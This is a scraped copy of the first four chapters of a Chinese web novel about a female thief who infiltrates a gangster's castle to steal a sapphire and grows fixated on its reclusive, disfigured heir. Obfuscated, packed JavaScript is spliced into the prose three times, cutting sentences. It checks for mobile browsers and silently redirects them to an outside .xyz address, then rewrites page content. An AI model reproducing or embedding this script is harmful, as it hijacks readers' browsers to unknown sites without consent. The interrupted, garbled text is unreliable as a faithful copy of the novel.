《残疾少爷是绝色[九零]》 1. 第 1 章 一九九六年,十二月二十。 暖阳万里。 南希站在宿舍楼的影子下等人。 齐刘海,素马尾,斜挎剑桥包,粉格子羊毛围巾,羊角扣呢绒大衣,厚底耐克旅游鞋。像是从日本少女馆漫画里走出来的。 哔—哔哔—哔— 包里发出长短音结合的铃声。 南希忙翻包。 剑桥包哪儿都好,漂亮、耐糙,就是扣系得实,类似腰带扣。 当南希费劲把包上俩腰带全解开时,最后一个长音“哔”只“哔”了三分之二,就没了声。但她还是从包里掏出了那个会“哔哔哔”的东西。 不是bp机,而是块带把的黑“石头”,方形的。上面刻着两串白颜色英文字母:StarTAC和MOTOROLA。 这“石头”是美国货,叫便携手机,今年才进入国内,能翻盖,据说将近一万块人民币,而且是GSM版本,有钱也难买。 南希上个月过生日,组织为了奖励她任务做得利索,托接头人刘总送她的庆生礼物。一到手,她就把死沉的大哥大给扔了。 南希小心翼翼地打开手机盖,细条黑白屏上面显示着刚刚来电的号码:13986688866。 一打眼全是发和顺。 刘总。 又有任务? 不过南希没回拨。 回拨要钱,不便宜。 她在等。 刘总是个急性子。 果然,不出三分钟,手机又“哔”了起来。 电话那头响起一个中年男人的粗犷声音: “小张,干啥呢,怎么才接电话?” 南希:“……都说了,叫我Nancy。” “Nan啥cy啊,挺好一中国妞,净整些没用的洋名!” “刘总,这您就不赶时髦了,现在讲究国际化,要有国际思维,时刻向国际看齐,这第一步就是先把名字给国际了。你信不信,将来啊,咱迟早要接些国际活儿。” “那就等将来再说,先扯点儿现在的!我这儿刚来了个大活儿,你接不接?” 南希顿了下:“什么时候开始?” “今天啊!” 南希视线尽头,一个骑自行车的清朗身影,正穿过一片光秃秃的林子和零星几个结伴同行的大学生,朝她驶来。 南希:“不接,我今天有事。” “你能有啥事儿?” “学习不行?” “行行行,学习改变命运,第一大事。那就明天!” 自行车近了,那身影突然站起来蹬车,冲她挥了挥手,脸上挂着青年男人特有的笑,比今天的太阳光还明媚。 南希也冲他笑。 “真不行,这单让给小王吧。” 她一个月前刚刚干了一票厉害的,手里不缺钱,再说,她总得歇歇、消遣消遣吧,生活又不是只有工作。 “诶,你真甘心让出去……” 不远处,青年按动车把,脚尖点地,这是刹车的姿势。 南希赶紧捂嘴收音,对着手机麦克风小声打断刘总:“甘心甘心甘心,挂了挂了挂了。”然后迅速收起这块价值连城的黑石头,一面系剑桥包的腰带,一面说:“学长,你来了。” 声音清脆可人,像铃铛,与刚才跟刘总掰扯的大粗嗓子没一点相似的地方。 自行车稳稳地停在了南希身前,青年下车,脸是红的。 “嗯,你,是不是等了很久?” 南希比约定的时间早到了半小时,确实等了挺久,不过她很享受,她就爱等男人,况且还是这种姿色的美男人。 “嗯~嗯~”她摇头,娇滴滴,“我也才从楼上下来,学长~” 这句“学长”直酥到青年心里,他不好意思看她,侧着头,拍拍绑着棉垫子的后座:“那,我载你去图书馆?” “嗯~嗯~”南希又摇头。 昨天他们刚去过图书馆,她向学长请教了几道数学题,把这男人夸成了花儿,还制造出书本落了一地的意外,捡书时,不小心碰到了他的手。 “今天天儿好,我想去明月湖边看书,我们宿舍的玲玲常去那。” 明月湖是济东大学中心位置的人工湖,面积很大,绿化很美,哪怕是冬天,隐秘的地方也很多,是谈恋爱的好去处。 玲玲就是跟男朋友常去的。 这些,学长自然都懂。 他的脸更红了,甚至有些烫,话也说不出,只会点头。 南希爱惨了他这清纯的死样儿,气血喷涌,一激动,直接跳上了那车座子,手扶了把他的腰。 好细! 学长也一激动,哆嗦了下,连“坐稳了没”都忘了问,就傻愣愣地开始蹬车。 南希坐后面,双腿交叉、左右摇摆,看着身前这刚长成的小男人一晃一晃的紧绷身体,心里快痒死了。 对待处男得先攻心,再夺身,循序渐进。 她本打算去湖边的小树林偷偷亲他的脸,可现在实在有些受不了了。 看来,今天,她会要的更多…… 哔—哔哔—哔— 手机突然不挑时候地闹腾。 刚才上车太急,剑桥包只够系好一个扣的,没关紧,这会儿,南希一只手就能伸进包里。 她把手机够出来,开盖,按了拒接键。 可没一秒,手机又“哔”了。 学长回头,温柔微笑:“有人找你?看起来很着急。” 南希瞧瞧他,又瞥瞥手机。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223765|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是挺急的,学长,要不,我先去接个电话?” 自行车停下了。 南希双脚着地,抱着手机跑远了。 电话一接起来,刘总就在另一头咆哮:“小张,你说说你,性子怎么就那么急?!我刚刚话都没说完,你就把电话给我挂了!” 南希拿手机离耳朵远了些:“那您还有什么指示?” 她没用大嗓门回怼,语气很好,只想快点把这个麻烦应付过去。 “唉,还是任务的事儿。”刘总见南希态度软,也放缓语气,“有句老话说得好,肥水不流外人田。小张,咱俩搭档了这么多年了,我早就把你当自己人了,你在我这儿的分量不是小王她们能比的,有好活儿我第一个想到的都是你啊!” “刘总,咱俩都搭档了这么多年了,你就别来虚的了。说吧,这单你能捞多少?” “呵呵呵,嘿嘿嘿……”刘总尬笑,“我是能赚不少,但也少不了你的。诶,等等,你先别急着挂!我知道最近你钱多的花不过来了,但这单他妈就不是钱的事儿——” “您到底要说什么?别啰嗦了。” 刘总压底声音:“——据我了解,前段时间,组织找到了一些跟你身世有关的信儿,这单要是能成,你也许就能知道你是谁。” 沉默。 电话里没了声。 刘总:“诶,诶,诶,你咋不说话了?” 大概过了十秒,刘总听到一句沙哑的“确定?”。 刘总:“我说了,你是自己人,我从不忽悠自己人。” 南希望向远处。 太阳更高了,已经有些刺眼。 矫健青涩的帅学长正朝她这边望着,十分安静。 这样一幅美好靓丽的画面,却在南希眼里渐渐褪了色,最后变成了黑白照片,阳光、青春、心动,都不见了。 南希收回视线,对着电话说:“我接。” * 深夜两点零六分。 空荡荡的小街巷,仅剩四个路灯还发着光,一晃一晃的。 突然“嘶啦”一声响,其中一束灯光晃了下去,然后,再也没晃起来。 灯下本来有条很长的人影,这会儿也融在了黑暗里。 不过,那个人并没有走,她/他好像已在那儿站了很久很久。 久到像是站着睡着了。 不知又过了多长时间,一道脆亮的铃声打破了死寂。 偷吃垃圾的老鼠吓得窜回了下水道。 那站着睡着的人不见了。 铃声骤停。 一分钟后,路边掉漆的红色电话亭。 公用话筒里传出一道冰冷的机器声音: “蓝宝石。温沙城堡。十一天。” 2. 第 2 章(番外) 温雪生打八岁起就住在温沙城堡。 严格来讲,是被藏在温沙城堡。 他长得跟鬼一样。 一只眼瞎,罩着黑布。另一只眼黯淡无光,虽然是双眼皮,很大,形状也很好看。 说他像鬼,倒不是因为这双眼睛,而是他的皮肤。 他的身上、脸上爬满扭曲的藏青色纹路,形似蛛网,比蛛网还乱。 算命的说他活不长,他也不想活得长,多活一天都是折磨。 五天前,他梦到了自己的死期,十二月二十七,也就是今天。 天从拂晓时就开始下雪,一直下到晚上,城堡外的积雪没了脚踝,雪还没停。 温雪生觉得自己可能真要死了。 据说,一九七六年冬,他就是出生在这样一个大雪天,所以父亲为他取名雪生。 从雪中来,在雪中去,倒也浪漫。 他的心情好了起来,微微张嘴: “急雪,舞回风。” 昏暗的欧式房间里突然冒出这么一句话,边上擦壁炉的妈子吓了一跳,回头乱撒眸。 紧闭的塑钢窗将暴风雪隔绝在外。 玻璃发出低沉的嗡鸣,如同震动的引擎。 床上宣腾腾的被窝里,露着半只暗沉的眼睛,好像在盯着窗户。 这地方,除了温大少,再没能说话的活人。 “啊……啥?” 可是,妈子仍不确定刚刚那话就是温大少说的,毕竟她极少听他说话。 还有,刚才的话,她没听懂。 那半只眼睛朝妈子瞥了瞥,瓮声瓮气的声音再次响起。 “雪真大啊。” 话中透着股无奈,眼睛的主人在解释。 妈子激动起来。 老天爷啊!大少真在跟她说话! 她也看向窗外,想起城堡管事曾嘱咐她,少爷喜欢一切跟自然有关的事物,城堡里养了几盆花、栽了几棵树,每年天上下了几场雨、飘了几次雪,都得记清楚。 她挥着抹布一拍大腿,脱口回:“可不是嘛,少爷,这是今年下的第四场雪!” 温雪生:“……” “雪真大”跟“今年的第四场雪”之间有什么百转千回的文学联系吗? 温雪生想不通,忽而气从心来,不及发作,门开了。 一缕明光跃入房内,随之一块进来的还有个西装革履的中年男人。 妈子哈起腰,朝他毕恭毕敬地唤了声“李管事。” 李管事名叫李大发,右脸有道刀疤,据说是年轻时给温雪生的父亲当打手,被人砍的。 一刀没砍死,留下了这道永生难灭的丑陋印记,连他媳妇都因此怕他,口口时还得闭着眼。 不过这道疤好像还有点用。 温雪生的父亲是个心狠手辣的夜总会大佬,在那个年代也可以称他.□□.老大。 老大只重利益不讲情分,也不知是不是每次瞧着李大发的疤,就会想起这人曾多次为自己出生入死,心里生出那么点儿愧疚,在李大发打不动后没嫌弃他,给他安排了个养老的清闲活儿——照顾病秧子少爷温雪生。 对此,李大发感激涕零,比当打手时干劲都足。 李大发进屋后,整了整衣领,冲床上鼓鼓囊囊的被窝鞠了一躬,然后侧身问妈子:“少爷今天情况怎么样?” 妈子回:“很好很好,少爷在看……” “雪”字未出,李大发就捕捉到丝丝缕缕的寒意,径直走到窗前,抬手一扯,将一层柔姿纱帘和一层厚绒布帘拉了上来。 他回头,继续刚才的话:“你说少爷在看什么?” 妈子瞅了眼还在晃动的窗帘,没敢吱声。 李大发便自顾自地说:“这屋里冷了点,大风都从窗户缝儿里渗进来了,你去找老杨拿胶把这缝儿给糊了。” “……” 妈子又瞟瞟床,没敢动。 床上的温雪生已然气急,往床沿挪动了几下,伸出手,够到李大发熨得笔直的西裤侧缝儿。 常打架的人都懂,腿是软肋,一旦让敌人抱住腿,就几乎等于丢了命。李大发打架经验丰富,浑身上下的肌肉都有记忆,突然被抓着裤缝儿,第一反应是把对方踹翻。 脚已提起,就差踢出去了,却突然转了方向,快速往后一退,撑住了地。 “少爷?” 他半跪到床边,略微气喘,强挤出一个标准的硬汉笑脸。 温雪生嫌丑,不看他。 “把窗帘拉开。” “什么?” 李大发惊说。 并非惊讶,他是没听清,温雪生的声音跟蚊子哼哼似的。 “把窗帘拉开。” “……” 李大发还是没回应,也没动作。 温雪生斜眼瞅他,从他皱成疙瘩的眉头里知道他又没听清,干脆放弃说话,抬起一根手指头,指了指窗帘。 李大发能在数次黑.道火拼中死里逃生,不仅能打,也有点拿得出手的智商和情商。他立马懂了温大少的意思,厚着脸皮把刚刚拉上的窗帘又给拉开了。 温雪生好像仍不满意,那根手指也仍立着,还向前戳了戳空气。 李大发心里乱嘀咕,试探:“少爷是想开窗?” 手指点了一下,代表点头。 李大发急了:“不能开呀,这大冷天的,您的身体……” 话没过半,他就说不下去了。 床上的青年已经露出半张脸,眼眸暗沉,却像刀子,特别是配上那些乱七八糟的藏青色血丝。 可能是温雪生长得太吓人,也可能是遗传基因过于厉害,李大发老觉得这小子身上有一股阴森的威压感,跟他爹一样。这种人话从不说第二遍,也没人能改变他们的决定。 李大发认怂,咽了口唾沫,开了窗。 风雪肆虐灌入,呼呼响。 温雪生张开嘴,说了一个字。 他话音本来就弱,这会儿怕是连鬼都听不到了。 但李大发知道,他说的是“滚”。 这小子连说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223766|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话的嘴型都他妈跟他爹一样! 下一秒,李大管事在这个无声的“滚”中滚了,还拽上了不明所以的妈子。 温雪生终于回归安宁。 良久,他把被子从脸上缓缓移下,那张鬼脸彻底裸露。 他回忆着电视剧里,那些大人物死后躺在棺材里的平和样子,调整了下躺姿,把手盖在胸前,认认真真地双手合十。 一切准备就绪后,他抬着眼珠子,一边赏雪,一边等死。 “死去何所道,托体,同,山阿。” 半晌,他又抑扬顿挫地追加了句“——陶渊明,温雪生”。 他的身体慢慢颤抖,慢慢起满鸡皮疙瘩,又慢慢平静,慢慢冰冷。 一个小时过后,他已经觉不着自己的小拇指,身体差点要被冻成人形冰雕,却还没死。 他只感到冷,真他——真是寒气砭骨! 要不,关上窗户蜷在被窝里死? 犹豫了几秒,窗户突然“吱呀”一声响。 他吓得一激灵,定睛细看: 雨雪霏霏,月色下的白纱帘被刮得纷纷扬扬,像是在演绎一部鬼片。 眼眨巴了两下,他终于下定决心起身关窗。 可惜,晚了一步。 温雪生飘着白雪的瞳孔里顿时闯入一片乱飞的红。 然后,一个黑咕隆咚的影子,踩着摇曳的柔姿纱,从大开的窗户跃了进来。 呼呼呼…… 风声还是那么大。 见鬼…… 温雪生白眼一翻,昏死过去。 再能睁开眼皮时,他发现身体动不了了。 他的手、胳膊、腿都被困在床上,五花大绑。 “哼,嗯,呃……” 他还说不出话,嘴里被塞了东西,霉味很重,抹布…… 除此之外,眼前熟悉的房间里多了一只披头散发的……女鬼。 那东西正站在床边,背对着他。 头发是红的,手指也是红的,跟才吃过人一样。 温雪生又要翻白眼。 女鬼好像察觉到了猎物的动静,转过身。 血红魔爪插入头顶过于飘逸的发丝,捋了一下。 “醒了?” “哼,嗯……”温雪生昏死失败,使出吃奶的劲儿挣扎。 女鬼踮着脚,一扭一扭地走过来,像只猫。 光线太暗,温雪生看不清她的脸,只能听到她的声音: “乖,别出声。” 竟然是——清脆、温柔的声音!? 正诧异,一只没有温度的手抚上了他鼓起的腮帮。 “如果不乖的话——” 那声音沉了下去。 “哼,嗯,呃……”温雪生又开始挣扎。 女鬼竟叹了口气,身体倾斜逼近。 温雪生看见一对刚吃过人的红唇。 然后,额头被什么温热潮湿的东西揉了一下。 蜻蜓点水的感觉。 “——姐姐,就教你乖。” 3. 第 3 章 十二月二十三。 大巴车塞满了人,像是包多了馅儿的饺子。 等车开上山时,馅儿一样的乘客下去一大波,南希终于看见了车上的塑料座椅。 一旁挎着包袱的老太喘了口气,抻着脖子朝窗外瞅了瞅:“就快到了!” 南希顺着她的视线看去,看见一个若隐若现的圆弧形状的楼顶。 是了,温沙城堡。 这个圆顶她两天前刚见过,那时她开着打刘总那拐来的切诺基,从车上下来时,望远镜,冲锋衣,高筒靴,活脱脱好莱坞公路片的女主角,不像现在穿了一身灰,蓬头垢面,大棉袄,大棉裤,也挎着个包袱。 老太伸手指外面:“看着了没,那个,就是我跟你说的大城堡。” 南希装作没瞧着:“哪儿,哪个?” 话音刚落,视野豁然开朗。 眼前出现了片一望无际的枯黄草原。 一座铅灰色,看起来跟堡垒一样坚固的欧式城堡矗立在草原尽头,就像矗立在地平线上。 第二次看,还是十分震撼。 虽然它只是英国温莎城堡的西贝货。 上次来,南希以游客的身份,从一位挑扁担下山的大爷那儿打听到,这座城堡是温四爷的地盘,方圆一公里内的草地也被他圈起来了,外人根本靠近不了。 南希因为考上大学才搬到济东市住,不知道温沙城堡,却听过温四爷。 那可是道.上响当当的大哥。 这等层次的人物,她不敢正面来硬的。 她开车绕着城堡转了一圈,把城堡能从外面看到的地方用望远镜都看了一遍,然后打电话托地头蛇刘总找人。 凭借她多年的工作经验,这种荒郊野岭的私人宅邸,必然养了不少干活儿的,而且只是看起来管理森严,混进去仅需要换一种身份,比如说佯装成保姆、厨师、清洁工。 她叫刘总找的人,就是向温沙城堡提供家政服务的中间人,联系到这个人,就能用钱让对方把南希安排进去,不过,要是能找到已经在城堡里干活儿的就更好了,他们八成也有法子带她进去。 毕竟,买通一个老老实实干活儿的,比买通一个动脑子招呼事儿的便宜不少。 巧的是,刘总前两天正好撞上了这么一个人。 那天,他因为胡吃海塞犯了肠胃炎,上吐下蹿稀,被媳妇送急诊挂水,遇到了同样在挂水的,闺女的同学。 那小家伙肺炎高烧到四十度,大半夜烧得撑不住,自己爬去楼底下小卖部打了120。刘总到的时候,他已经快拔针了,他奶奶这才火急火燎地冲进输液室,一边跑一边吆喝着孙子的小名。 但真正抓住刘总注意力的,是那跟在老太太身后的男人:锃光瓦亮的长头皮鞋,板板正正的西装衬衣,衣领上还系着个能勒死人的领结。 一条狰狞的刀疤从鼻梁纵贯而下,几乎切了他整个右脸。 刘总年近五十,经历了不少大风大浪,啥人没见过,可这个人,他就是不敢连着看第二眼。 那刀疤男在老太拉着孙子的手问这问那时,悄悄去收费口把医药费结了,然后又默默地走了。 刘总本不是个好奇心重的人,却没忍住问老太这男的是她什么人。 老太很是自豪,说那是领导,温沙城堡的大管事。 有了这件事,南希找来时,刘总立马想起老太,火速买了个水果篮,伙同闺女去探望他请假在家的同学。 老太为了照顾孙子,也在家,她正担心长时间不上班,对不起管事,琢磨着找人替她两天。于是,她跟刘总一拍即合。第二天,刘总就把农村哥哥家的大侄女介绍了过去。第三天,老太便领着大侄女坐上了去往温沙城堡的大巴车。 整件事下来就花了三十块人民币——那个水果篮的钱。 南希望着窗外“嗖嗖”飞过的树干,和渐渐变大的城堡,惊叫出声:“哇!好壮观!奶奶,我真能去那里面工作?” “能,这不就去了吗。”老太得意地笑了,好似那城堡是她家的一样。 “奶奶,为啥叫温沙城堡?”南希又问。 “这个啊,李管事说了,少爷说,温家的城堡得姓温……”老太收起笑,“诶,进去后,你可少问事儿,让人听着不好,我看,你最好一声都别出。李管事还说了,少爷喜欢安静。” 二十分钟后,南希和老太下了车,然后又步行了二十分钟,通过一道道黑衣人的检查,终于迈进了温沙城堡的大门。 城堡内也是欧式风格,壁炉,壁灯,壁画……天花板上也画着画:一个赤.身.裸.体的丰腴女人和一堆赤.身.裸.体的黄毛小孩。 南希欣赏不了。 “别乱瞅。” 老太提醒她。 南希应了声“嗯”,可视线仍在别处。 几根罗马柱后,一个穿西装的高个儿黑衣人领着三四个穿白大褂的矮子“哒哒哒”地走了过来。 他们应该是要往大门的方向去。 老太赶紧拽南希上了楼。南希就没来得及看上第二眼,只隐隐闻到一股消毒过度的气味儿。 她便一边跟着老太上台阶,一边回头朝楼下瞄。 老太捏她的手:“都说了别乱瞅!” 南希憨笑:“奶奶,这里可真大真好看,我忍不住。” 憨傻无辜的贫穷小女孩,最容易让人放松警惕,生出同情,包容她的冒失。 果然,老太想起自己第一次进来时,也是这副没见过世面的样子,没再管她。 没一会儿,南希已登上二楼,余光中,四个光秃秃的头顶走到了她刚才站的位置。 她眼珠子一转,捂住鼻子问老太:“奶奶,你有没有闻着股呛人的味儿,跟医院的味儿似的。” 老太见楼下李管事引着秃头们出了门,回:“闻不着,城堡里总有大夫来,我都习惯了。” 南希顺着她的话往下问:“大夫?这里是有谁病了吗?” 老太正要答,一旁的门里走出位穿旗袍、盘花头的女人,她脸上有褶子,粉卡在褶子里,嘴唇抹得紫红紫红的。 女人看到老太,像是看到了救星,笑着嚷起来:“孙妈妈,你可算回来了,这满楼里的花,谁都没你擦得干净!少爷都不愿意看了!哦,对了,咱大孙子退烧了吧?” 这人是城堡分管保洁的主管,人们都喊她王姐,哪怕她看起来比大部分保洁都年轻。 孙老太跟王姐笑着说了下家里的情况,然后把南希托付给她,就急匆匆赶下一班大巴回去伺候孙子了。 王姐和南希大眼瞪小眼。 王姐:“愣着干啥,填表去,信息登记。” 南希傻笑着跟王姐进了档案室。 索尼大彩电正在播放新闻。播音员语气庄重:……多名受害群众及周边目击者反映,曾在案发时段看到一个可疑的“红头发黑影”,因其行动诡秘迅速,且特征显著,在部分群众中引起了不安,私下将其称为“红发女鬼”。本市警方严正声明,所谓“女鬼”之说纯属无稽之谈…… 王姐关了电视,这则新闻她听得耳朵都要生茧了。 她打量已经趴桌上填资料的南希,觉得小姑娘皮肤白,长得水灵,虽然穿着粗布棉袄,却遮不住身上的贵气,不像是一个出来务工的农村妞。 南希被盯得难受,写完就要去干活,被王姐拦住。 王姐:“你……” 我? 南希像是想到什么,傻愣愣地抬手把填完的资料递上前。 王姐扫了眼。 字歪歪扭扭,跟狗扒的一样,还不如她住乡下的大外甥。 她放下心,把刚才没出口的话咽回肚子,抱起手臂,倚着门框,换了句话: “诶,小张,别急,先听姐跟你交代几句。你就来干几天,我不会按照要求孙妈妈的那套标准来要求你,但是规矩你不能不懂,我们这儿不比外面,得多干事少说话,最好把自己当哑巴,明白不?” 这是南希今天第二次被“封口”,心里不爽,却哈腰,连回三个“是”。 “跟我来吧,我带你先了解下干活儿的地方。”王姐领南希下楼,站在一层大厅中央,仰头往上看,望见挑空天花板上的那一堆裸.体.画像,皱着眉头收回眼,清了清喉咙,开始给南希介绍。 温沙城堡共有四层,雇着八个保洁阿姨。每人负责半层楼,每半天换一次区域。按王姐的说法,这样做有利于互相监督,以防有人偷懒。 这种机制到底防不防偷懒,南希不知道,却知道这轮岗的频率,给她省了不少事儿。 她之所以混入温沙城堡,其实是为了一块蓝宝石。 准确来说,是为了偷它。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223767|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >偷东西如带兵打仗,讲究兵法学问,想成功盗宝,最重要的一点,是判断出藏宝的具体位置。 收到组织的任务后,南希熬了三晚,列了三项计划,从PlanA到PlanC,无非是在打扫卫生时装作迷路,溜到其他楼层暗中寻宝的套路Plan,这会儿听王姐这么说,她禁不住窃喜,看来无需再偷偷摸摸,只要四天,她就能正大光明地弄清城堡的每一个角落。 刘总老说她狗屎运,说得挺准。 南希随王姐一层一层转,借机在桌底、墙角悄悄安下随身携带的窃听器。转到第三层时,幽香扑鼻,眼前迎来一排开得娇艳的梅花树,盆栽的。 王姐发话,三楼的卫生尤其要紧,地面要一尘不染,花瓣、叶子要擦得干净。她见南希蹙起眉心,面露疑惑,这表情她实在看过太多次,几乎每个新来的都会这样,便像往常一样加了句:这是温沙城堡的主人,温家大少爷特意嘱咐的。 正说着,南希又闻到一股医院味儿,甚至比刚才的还冲。 王姐止了音,转身朝梅花深处走去。 那里有一扇雕着花的木质拱形双开门。 一个头戴厨师高帽的中年女人,推着银色小车从门里走出。 王姐加快脚下速度,瞧见那女人摇了摇头,一脸愁容,像是快哭了。她心里沉下,问:“又没吃吗?这次是哪儿不合胃口?” 中年女人不住叹气:“唉,唉,我也不知道啊,王姐,我真尽力了……他甚至连看都没看一眼,就把我赶出来了。” 王姐拍她的肩膀:“不怪你。” 南希跟在王姐身后,离她一米距离,注意力却在那扇门内。 她可以确定,这浓重的医院味儿就是从门里散发出来的。与这气味一起涌出的还有一股热腾腾的暖流。 门里至少比外面高五度。 除此之外,她还捕捉到一片“白”,门后,白墙,白桌子,白地毯,她上次碰到这种配色,是在同伴的灵堂,后背立马起了层鸡皮疙瘩。 她把今天的事儿联想了一下,断定,温沙城堡真有人生了病,病的还挺重,可能患有晚期神经衰弱和变态恋花癖,且病人地位不低,八成是那位温大少。 她隐隐有种预感,蓝宝石就藏在温大少房内。 南希继续装傻,指着眼前的门问:“王姐,这地方是哪儿?我需要进去打扫吗?” 南希发现王姐的脸色变了,今天遇到她后,王姐都是一副从容高傲的姿态,只有刚刚的一瞬间露出了普通人才会有的怯意。 王姐压着嗓子,怒斥那高帽女厨:“怎么不关门?!想害死我?!”说完小跑到门边,朝门内鞠了一躬,然后轻轻带上了门。 她再回过头来时,面色苍白,额头渗着汗珠。 不是被热的。 南希莫名兴奋,又问:“王姐,真不用打扫?我刚才看着屋里的白地板好像脏……” 话没说完,门内传来低沉的咳嗽声。 王姐与女厨相视一眼,拔腿朝那门冲去。 “少爷!” “少爷!” 南希跟在后面,嘴角抑不住上扬,步伐不疾不慢。 眼前的视线渐渐开阔,房间特别大,能有个八九十平,一张两米多的软床躺在复古塑钢窗旁。 壁炉烧得正旺,远远的就能感觉到烫。对面的墙上,打了一整面白色书架,色彩各异、高矮不同的书籍整齐排列,比南希学校的图书馆要壮观。 南希扫了眼正趴床边问长问短的俩女人,她们已没有多余的精力关心别的事,便放心地继续观察。 她走近书架,往往越让人眼花缭乱的地方,越容易暗藏玄机。 窃听器迅速被贴好,眼珠转动扫过每一本书。 《唐诗》、《巴黎圣母院》、《月亮与六便士》、《飞鸟集》、《小王子》、《诗经》、《雪国》…… 等等! 视线停在了半道。 南希睁大眼睛,直勾勾盯紧靠在书籍上的一个照片摆台: 眼神澄澈的长刘海少年朝她露出了世间绝无仅有的干净笑容。 这是……神经衰弱、变态花奴病秧子,温,大少? 南希颤颤回头,再次看向那张软床。 她抿了抿唇,嗓子发干。 我去! 也太纯.欲了吧…… 4. 第 4 章 南希像被勾了魂,转身冲着温大少的软床就走了过去。 视线穿过两个女人间的空隙。 一个修长的身形在被子里轻轻攒动,乌黑蓬松的秀发一点一点地探出被褥。 再一点,是浓眉…… 再再一点,就是脸…… 照片里的帅脸。 就差一点儿…… “你谁啊?!” 怒吼突如其来,没等南希反应,一张刀疤脸从门外冲进,像拎小鸡仔一样把她拎出了屋。 拱形双开门在身后安静地合上,却在她心里震出了一道巨大的“轰隆”声。 那日起,温沙城堡多了一条新规矩:临时工不得进入少爷的房间。 …… 南希不甘心呐! 之后几天,她以寻找蓝宝石的名义说服自己,想方设法去看温大少。 未果。 十二月二十六,也就是南希在温沙城堡当保洁的第四天,她又失去了继续想方设法看温大少的机会。 这天刚上班,王姐就把她喊到办公室,递给她一个牛皮纸信封。 她偷偷撕开一个角瞄了眼,里面是一沓灰蓝色人民币。 王姐不正眼瞧她,一边举着小圆镜涂粉,一边说:“那个,孙妈妈明天就回来了你知道不?” 南希摇头:“她大孙子好了?” “早好了,今天都上学去了。你这两天干的还成,信封里是结给你的工资,明天等孙妈妈到了后你就可以走了,也不用再来我这儿了。” 半晌,王姐终于把自己涂成了白无常,一斜眼,发现南希仍杵在边上。 “诶,你愣着干啥,咋还不走呢?” 南希技术性傻笑:“王姐,这钱……给的有点多。” “多还不好?出去后,我们这的事儿少跟别人说。行了,快干活去吧,最后一天也得好好干啊,花擦干净点儿!” “……您放心。” 南希扭扭捏捏地走出办公室,笑容在转身的一刻垮下。 她站门口琢磨了会儿,提腿东拐西拐溜回宿舍,四处瞄了下确定屋内没人,从床底下的大包袱里掏出摩托罗拉,翻盖,开机,按下一堆八和六。 滴滴滴…… “喂!小张,成了?” 电话那头的声音特别兴奋。 南希嘘声:“你不碍事的话就成了。” “没成?那你给我打啥电话?” “找你算帐!那个孙老太怎么回事,这才几天就要回来了,刚才温沙城堡的管事都赶我走了,你说说现在这情况我还怎么做任务?!” “这事你不能怪我头上啊,孙老太家里啥样你又不是不知道,儿子儿媳都没了,她个大字不识的老太婆,一个人在城里拉扯孙子,多不容易,人家想赶紧上班挣点儿钱,咱们得包容、理解!”刘总觉得自己的话有些过,犹豫了下,又说,“你看要不这样,下午我再买个果篮,和闺女去她家看看。” “别看了,她孙子去上学了,你闺女没跟你说?你俩关系不咋地呀。” “……别扯远了啊,你想让我怎么着,直说!” “你给我弄点装备,虽然窃听器里没啥有用信息,但我预感宝贝就藏在温大少爷那,我打算半夜探进他屋里瞅——” “等等,谁?温大少?温四爷的大儿子?” 南希眼前浮现出照片摆台上的纯情少年,闭上眼回: “对。” “小张,千万别冲动!济东人都知道,温四爷最疼的就是这个大儿子,我打听过了,你现在呆的那座温沙城堡,就是专门给他建的,咱不能在太岁头上动土啊!” 纯情少年的清纯面容依然在眼前,还变本加厉,飘来荡去,若即若离。 南希睁开眼,捂住胸口,颇有些痛心疾首:“我要是偏要动这块土呢?” 刘总急了:“我不同意!小张,我知道你业务能力强,才混了几年,就混上了‘红发女鬼’这个名号。可不怕一万就怕万一,要是你不小心被发现惹火了他,那么这济东市你可就没法呆了!再说,预感这东西能当回事儿吗?凭一个预感就冒这么大的险,你是不是脑子被门挤了?” “你懂个屁!你知道这些年我为啥这么顺风顺水吗?” “运气凑合。” “你屁都不懂!干我们这一行的,最重要的不是运气,也不是技术,而是感觉,第六感。组织给的任务只有时间、地点和要偷的东西,短短一行字,天知道那东西到底藏哪儿!这就需要执行人在最短的时间做出最准确的判断。而我的判断,从没错过。我靠得就是你看不上的预感。刘总,敢不敢赌一把,就赌这次的宝贝在不在温大少那儿。” 刘总沉默,再出声时,像一个泄了气的皮球:“诶诶诶,我不跟你赌啊,赌博犯法。那个,你想要啥装备说就行。” “怂。”南希嘴角一挑:“还是那些,明天十二点,老地方见。” * 十二月二十七。 大雪。 这场雪,整整下了一天。 天黑得早,温沙城堡的黑衣保安也提早躲进了自己的小屋。 谁都没有发现,离城堡最近的一处山坡上,停着辆落满雪的切诺基。 车上,南希放下高倍望远镜,打开车窗,默默点了根烟。 她在等九点。 